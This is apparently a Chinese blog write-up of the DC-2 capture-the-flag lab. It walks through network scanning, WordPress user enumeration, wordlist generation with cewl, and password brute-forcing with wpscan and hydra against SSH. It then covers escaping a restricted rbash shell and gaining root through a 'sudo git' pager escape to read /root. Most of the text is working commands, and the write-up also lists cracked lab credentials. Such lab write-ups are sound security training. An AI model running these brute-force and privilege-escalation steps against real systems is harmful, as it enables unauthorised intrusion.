【DC】DC-2
kali:192.168.223.131
target:192.168.223.156
首先确定目标IP为192.168.223.156
arp-scan -l
nmap探测主机是否存活,存活才能开始接下来的扫描
nmap -T4 -sP 192.168.223.156
-T4:针对TCP端口禁止动态扫描延迟超过10ms
-sP:活性扫描(ping扫描),nmap在扫描端口时,默认会使用ping扫描,只有主机存活nmap才会继续扫描
之后进行主动扫描并保存到某个文件下
nmap -T4 -A 192.168.223.156 -p 1-65535 -oN haha.txt
通过redirect看出来IP做了伪装,无法直接跳转到http://dc-2,此时修改kali(/etc/hosts)和windows(C:\Windows\System32\drivers\etc\hosts)的hosts文件,进入后是一个熟悉的wordpress界面,找到第一个flag
使用nikto扫描敏感目录
nikto -h http://dc-2
访问wp-login看一下,是一个登陆界面,此时需要用户名和密码,通过wpscan进行探测,扫描到三个用户:admin、jerrry、tom
wpscan --url dc-2 -e u
通过flag1的提示使用cewl软件,即通过行文的习惯整合成密码放在一起
cewl dc-2 -w pass.txt
再将获得的uname放在一个txt文件里面
vi uname.txt
通过wpscan的密码破解模块,结合uname和pass进行破解
wpscan --url dc-2 -U uname.txt -P pass.txt
获得账号密码为jerry,adipiscing;tom,parturient;随后去后台尝试登陆,通过jerry登陆获取第二个flag
使用hydra对ssh进行爆破,同时ssh端口已经被修改为7744
hydra -L uname.txt -P pass.txt 192.168.223.156 ssh -s 7744
此时获得ssh的账号密码,进行ssh连接,进入tom的账号
ssh tom@192.168.223.156 -p 7744
其实如果慢慢等也能穷举出tom的账号,连接后直接flag4,这里不做演示
这时候发现su等命令都不能用,此时看看自己命令行在哪
echo $PATH
确认一下自己能用哪些命令
ls usr/bin
通过vi读取flag3
vi flag3.txt
使用a键调用/bin/sh命令行,发现依然不能用
BASH_CMDS[a]=/bin/sh
Linux每条命令行都有不同的权限,通过使用不同的命令行可以获得对应的权限
此时在a中再次输入/bin/bash
将高级权限的的命令行全部加进自己的环境变量里
export PATH=PATH:/bin
export PATH=PATH:/sbin:/bin
如果不通过a键进入/bin/bash再在里面输入/bin/bash,则export无法进行,原因在于这里是一个rbash的限制shell,需要先绕过它变成bash,才能进一步提权
这时可以使用cat命令,同时提权到jerry,由于此时在tom的home目录,需要进到jerry的home目录,然后拿到flag4
su jerry
根据提示,需要提权到root;查看以root权限可以使用什么命令,发现可以使用/usr/bin/git
sudo -l
git命令在查看帮助文档时可以敲命令
sudo git help config
或者
sudo git -p --help
此时输入!whoami
就可以看到权限
此时挨个查看即可
!ls /root
!cat /root/final-flag.txt
每一次输命令都要!+命令,就是借用git的root权限执行命令
本文来自博客园,作者:icui4cu,转载请注明原文链接:https://www.cnblogs.com/icui4cu/p/16095246.html